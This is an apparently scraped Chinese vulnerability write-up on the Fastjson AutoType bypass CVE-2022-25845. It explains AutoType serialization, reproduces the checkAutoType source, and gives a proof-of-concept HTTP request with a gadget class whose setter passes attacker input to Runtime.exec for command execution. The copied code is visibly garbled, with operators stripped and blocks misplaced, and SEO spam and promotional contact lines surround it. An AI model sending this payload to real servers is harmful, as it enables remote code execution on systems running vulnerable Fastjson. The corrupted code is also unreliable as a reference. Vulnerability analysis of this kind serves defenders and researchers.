网站控制,大型电子商务网站需要配服务器,海口小微企业网站建设,asp.net sql server网站建设 pdf01漏洞编号
CVE-2022-25845CNVD-2022-40233CNNVD-202206-1037二、Fastjson知多少
万恶之源AutoType
Fastjson的主要功能是将Java Bean序列化为JSON字符串#xff0c;这样得到的字符串就可以通过数据库等方式进行持久化了。
但是#xff0c;Fastjson在序列化及反序列化的过…01漏洞编号
CVE-2022-25845CNVD-2022-40233CNNVD-202206-1037二、Fastjson知多少
万恶之源AutoType
Fastjson的主要功能是将Java Bean序列化为JSON字符串这样得到的字符串就可以通过数据库等方式进行持久化了。
但是Fastjson在序列化及反序列化的过程中没有使用Java自带的序列化机制而是自定义了一套机制。
对于JSON框架来说想要把一个Java对象转换成字符串有两种选择
1、基于属性
2、基于Setter/Getter
在我们常用的JSON序列化框架中Fastjson和Jackson将对象序列化成Json字符串时是通过遍历该类中所有的Getter方法来进行的。而Gson不是这么做的它是通过反射遍历该类中的所有属性并把其值序列化为Json 。
假设我们有下面这个Java类
class Store {
private String name;
private Fruit fruit;
public String getName() {
return name;
}
public void setName(String name) {
this.name name;
}
public Fruit getFruit() {
return fruit;
}
public void setFruit(Fruit fruit) {
this.fruit fruit;
}
}
interface Fruit {
}
class Apple implements Fruit {
private BigDecimal price;
//省略 setter/getter、toString等
}
//所有网络安全全套资料免费领取加w:anquan455领取~当我们对它进行序列化时Fastjson会扫描其中的Getter方法即找到getName和getFruit这时就会将Name和Fruit两个字段的值序列化到JSON字符串中。
那么问题来了上面定义的Fruit只是一个接口序列化的时候Fastjson能将属性值正确序列化出来吗如果可以的话反序列的时候Fastjson会把这个Fruit反序列化成什么类型呢
我们尝试基于Fastjson v1.2.68验证一下
Store store new Store();
store.setName(Hollis);
Apple apple new Apple();
apple.setPrice(new BigDecimal(0.5));
store.setFruit(apple);
String jsonString JSON.toJSONString(store);
System.out.println(toJSONString : jsonString);以上代码比较简单我们创建了一个store为它指定了名称并创建了Fruit的子类型Apple然后将store用JSON.toJSONString进行序列化可以得到以下JSON内容
toJSONString : {
fruit:{
price:0.5
}
,name:Hollis
}那么Fruit的类型是什么呢能否反序列化为Apple呢我们再来执行以下代码
Store newStore JSON.parseObject(jsonString, Store.class);
System.out.println(parseObject : newStore);
Apple newApple (Apple)newStore.getFruit();
System.out.println(getFruit : newApple);执行结果如下
toJSONString : {
fruit:{
price:0.5
}
,name:Hollis
}
parseObject : Store{
nameHollis, fruit{}}
Exception in thread main java.lang.ClassCastException: com.hollis.lab.fastjson.test.$Proxy0 cannot be cast to com.hollis.lab.fastjson.test.Apple
at com.hollis.lab.fastjson.test.FastJsonTest.main(FastJsonTest.java:26)可以看到在将store反序列化后我们尝试将Fruit转换成Apple但抛出了异常如果直接转换成Fruit则不会报错如下
Fruit newFruit newStore.getFruit();
System.out.println(getFruit : newFruit);从以上现象中我们得知当一个类中包含了一个接口或抽象类的时候使用Fastjson进行序列化会将子类型抹去只保留接口抽象类的类型使得反序列化时无法拿到原始类型。
如何解决这个问题呢Fastjson引入了AutoType在序列化时把原始类型记录下来。使用方法是通过SerializerFeature.WriteClassName进行标记即将上述代码中的
String jsonString JSON.toJSONString(store);修改为
String jsonString JSON.toJSONString(store,SerializerFeature.WriteClassName);修改后的代码输出结果如下
System.out.println(toJSONString : jsonString);
{
type:com.hollis.lab.fastjson.test.Store,
fruit:{
type:com.hollis.lab.fastjson.test.Apple,
price:0.5
}
,
name:Hollis
}可以看到使用SerializerFeature.WriteClassName进行标记后JSON符串中多出了一个type字段标注了类对应的原始类型方便在反序列化的时候定位到具体类型。**
如上将序列化后的字符串再反序列化就可以顺利拿到Apple类型整体输出内容如下
toJSONString : {
type:com.hollis.lab.fastjson.test.Store,fruit:{
type:com.hollis.lab.fastjson.test.Apple,price:0.5
}
,name:Hollis
}
parseObject : Store{
nameHollis, fruitApple{price0.5}}
getFruit : Apple{price0.5}这就是Fastjson中引入AutoType的原因但是也正因为这个特性因为功能设计之初在安全方面考虑不周给后续的Fastjson使用者带来了无尽的痛苦。
checkAutoType
Fastjson为了实现反序列化引入了AutoType造成
1、Fastjson是基于内置黑名单来实现安全的打开AutoType后可能造成安全风险即绕过黑名单。
2、关闭AutoType后是基于白名单进行防护的此次解析的漏洞就是在未开启AutoType时产生的。
从v1.2.25版本开始Fastjson默认关闭了AutoType支持并且加入了checkAutoType加入了黑白名单来防御AutoType开启的情况。
Fastjson绕过历史可以分为AutoType机制绕过和黑名单绕过绝大部分情况都是寻找一个新的利用链来绕过黑名单所以Fastjson官方的黑名单列表越来越大但是更有意义的绕过显然是AutoType机制绕过这样无需手动配置autoTypeSupport也可能进行利用。
我们先来看一下通过checkAutoType()校验的方式有哪些
1、白名单里的类
2、开启了AutoType
3、使用了JSONType注解
4、指定了期望类expectClass
5、缓存在mapping中的类
6、使用ParserConfig.AutoTypeCheckHandler接口通过校验的类
三、攻击思路
**目标**绕过AutoType机制
**手段**通过checkAutoType()校验
**方法**寻找使用checkAutoType()的函数并使之通过checkAutoType()校验
通过研究v1.2.50和v1.2.68的绕过方式主要是在ObjectDeserializer接口的子类JavaBeanDeserializer中存在expectClass非空的checkAutoType调用这也是绕过的关键。顺着这个思路我们继续在ObjectDeserializer接口的其他子类中寻找expectClass非空的checkAutoType调用发现在子类ThrowableDeserializer的函数deserialze中也存在满足条件的调用。
1.2.80版本的checkAutoType代码如下
public Class? checkAutoType(Class type) {
if (get(type) ! null) {
return type;
}
return checkAutoType(type.getName(), null, JSON.DEFAULT_PARSER_FEATURE);
}
public Class? checkAutoType(String typeName, Class? expectClass) {
return checkAutoType(typeName, expectClass, JSON.DEFAULT_PARSER_FEATURE);
}
public Class? checkAutoType(String typeName, Class? expectClass, int features) {
if (typeName null) {
return null;
}
if (autoTypeCheckHandlers ! null) {
for (AutoTypeCheckHandler h : autoTypeCheckHandlers) {
Class? type h.handler(typeName, expectClass, features);
if (type ! null) {
return type;
}
}
}
final int safeModeMask Feature.SafeMode.mask;
Boolean safeMode this.safeMode
|| (features safeModeMask) ! 0
|| (JSON.DEFAULT_PARSER_FEATURE safeModeMask) ! 0;
if (safeMode) {
throw new JSONException(safeMode not support autoType : typeName);
}
if (typeName.length() 192 || typeName.length() 3) {
throw new JSONException(autoType is not support. typeName);
}
final Boolean expectClassFlag;
if (expectClass null) {
expectClassFlag false;
} else {
long expectHash TypeUtils.fnv1a_64(expectClass.getName());
if (expectHash 0x90a25f5baa21529eL
|| expectHash 0x2d10a5801b9d6136L
|| expectHash 0xaf586a571e302c6bL
|| expectHash 0xed007300a7b227c6L
|| expectHash 0x295c4605fd1eaa95L
|| expectHash 0x47ef269aadc650b4L
|| expectHash 0x6439c4dff712ae8bL
|| expectHash 0xe3dd9875a2dc5283L
|| expectHash 0xe2a8ddba03e69e0dL
|| expectHash 0xd734ceb4c3e9d1daL
) {
expectClassFlag false;
} else {
expectClassFlag true;
}
}
String className typeName.replace($, .);
Class? clazz;
final long h1 (fnv1a_64_magic_hashcode ^ className.charAt(0)) * fnv1a_64_magic_prime;
if (h1 0xaf64164c86024f1aL) {
// [
throw new JSONException(autoType is not support. typeName);
}
if ((h1 ^ className.charAt(className.length() - 1)) * fnv1a_64_magic_prime 0x9198507b5af98f0L) {
throw new JSONException(autoType is not support. typeName);
}
final long h3 (((((fnv1a_64_magic_hashcode ^ className.charAt(0))
* fnv1a_64_magic_prime)
^ className.charAt(1))
* fnv1a_64_magic_prime)
^ className.charAt(2))
* fnv1a_64_magic_prime;
long fullHash TypeUtils.fnv1a_64(className);
Boolean internalWhite Arrays.binarySearch(INTERNAL_WHITELIST_HASHCODES, fullHash) 0;
if (internalDenyHashCodes ! null) {
long hash h3;
for (int i 3; i className.length(); i) {
hash ^ className.charAt(i);
hash * fnv1a_64_magic_prime;
if (Arrays.binarySearch(internalDenyHashCodes, hash) 0) {
throw new JSONException(autoType is not support. typeName);
}
}
}
if ((!internalWhite) (autoTypeSupport || expectClassFlag)) {
long hash h3;
for (int i 3; i className.length(); i) {
hash ^ className.charAt(i);
hash * fnv1a_64_magic_prime;
if (Arrays.binarySearch(acceptHashCodes, hash) 0) {
clazz TypeUtils.loadClass(typeName, defaultClassLoader, true);
if (clazz ! null) {
return clazz;
}
}
if (Arrays.binarySearch(denyHashCodes, hash) 0 TypeUtils.getClassFromMapping(typeName) null) {
if (Arrays.binarySearch(acceptHashCodes, fullHash) 0) {
continue;
throw new JSONException(autoType is not support. typeName);
clazz TypeUtils.getClassFromMapping(typeName);
if (clazz null) {
clazz deserializers.findClass(typeName);
if (clazz null) {
clazz typeMapping.get(typeName);
}
if (internalWhite) {
clazz TypeUtils.loadClass(typeName, defaultClassLoader, true);
}
if (clazz ! null) {
if (expectClass ! nullclazz ! java.util.HashMap.classclazz ! java.util.LinkedHashMap.class!expectClass.isAssignableFrom(clazz)) {
throw new JSONException(type not match. typeName - expectClass.getName());
}
return clazz;
}
if (!autoTypeSupport) {
long hash h3;
for (int i 3; i className.length(); i) {
char c className.charAt(i);
hash ^ c;
hash * fnv1a_64_magic_prime;
if (Arrays.binarySearch(denyHashCodes, hash) 0) {
throw new JSONException(autoType is not support. typeName);
}
// white list
if (Arrays.binarySearch(acceptHashCodes, hash) 0) {
clazz TypeUtils.loadClass(typeName, defaultClassLoader, true);
if (clazz null) {
return expectClass;
}
if (expectClass ! null expectClass.isAssignableFrom(clazz)) {
throw new JSONException(type not match. typeName - expectClass.getName());
}
return clazz;
}
}
}
Boolean jsonType false;
InputStream is null;
try {
String resource typeName.replace(., /) .class;
if (defaultClassLoader ! null) {
is defaultClassLoader.getResourceAsStream(resource);
} else {
is ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}
if (is ! null) {
ClassReader classReader new ClassReader(is, true);
TypeCollector visitor new TypeCollector(clinit, new Class[0]);
classReader.accept(visitor);
jsonType visitor.hasJsonType();
}
}
catch (Exception e) {
// skip
}
finally {
IOUtils.close(is);
}
final int mask Feature.SupportAutoType.mask;
Boolean autoTypeSupport this.autoTypeSupport
|| (features mask) ! 0
|| (JSON.DEFAULT_PARSER_FEATURE mask) ! 0;
if (autoTypeSupport || jsonType || expectClassFlag) {
Boolean cacheClass autoTypeSupport || jsonType;
clazz TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
if (clazz ! null) {
if (jsonType) {
TypeUtils.addMapping(typeName, clazz);
return clazz;
}
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| javax.sql.DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
|| javax.sql.RowSet.class.isAssignableFrom(clazz) //
) {
throw new JSONException(autoType is not support. typeName);
}
if (expectClass ! null) {
if (expectClass.isAssignableFrom(clazz)) {
TypeUtils.addMapping(typeName, clazz);
return clazz;
} else {
throw new JSONException(type not match. typeName - expectClass.getName());
}
}
JavaBeanInfo beanInfo JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);
if (beanInfo.creatorConstructor ! null autoTypeSupport) {
throw new JSONException(autoType is not support. typeName);}}if (!autoTypeSupport) {throw new JSONException(autoType is not support. typeName);
}if (clazz ! null) {
TypeUtils.addMapping(typeName, clazz);
}return clazz;
}四、POC
按照上面思路构造POC如下
POST /fastjson HTTP/1.1
Host: 172.31.1.101:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0;
Win64;
x64;
rv:101.0) Gecko/20100101 Firefox/101.0
Accept: text/html,application/xhtmlxml,application/xml;
q0.9,image/avif,image/webp,*
/*;q0.8
Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 117
{
type: java.lang.Exception,
type: com.example.springfastjson.model.poc20220523,
name: control
}代码中需要有如下的类
package com.example.springfastjson.model;
import java.io.IOException;
public class poc20220523 extends Exception {
public void setName(String str) {
try {
Runtime.getRuntime().exec(str);
}
catch (IOException e) {
e.printStackTrace();
}
}
}五、代码分析
通过一系列的字符检查之后type: java.lang.Exception步入到checkAutoType 。 经过checkAutoType函数检查。
尝试从缓存mapping中实例化clazzTypeUtils.addBaseClassMappings已经将java.lang.Exception加入了mapping
往下走getDeserializer返回的ObjectDeserializer为ThrowableDeserializer类型。
进入ThrowableDeserializer.deserialze顺利到达checkAutoType 。
参数传到checkAutoType函数且expectClass不为空顺利绕过checkAutoType函数。 【一一帮助安全学习,点我一一】 ①网络安全学习路线 ②20份渗透测试电子书 ③安全攻防357页笔记 ④50份安全攻防面试指南 ⑤安全红队渗透工具包 ⑥网络安全必备书籍 ⑦100个漏洞实战案例 ⑧安全大厂内部教程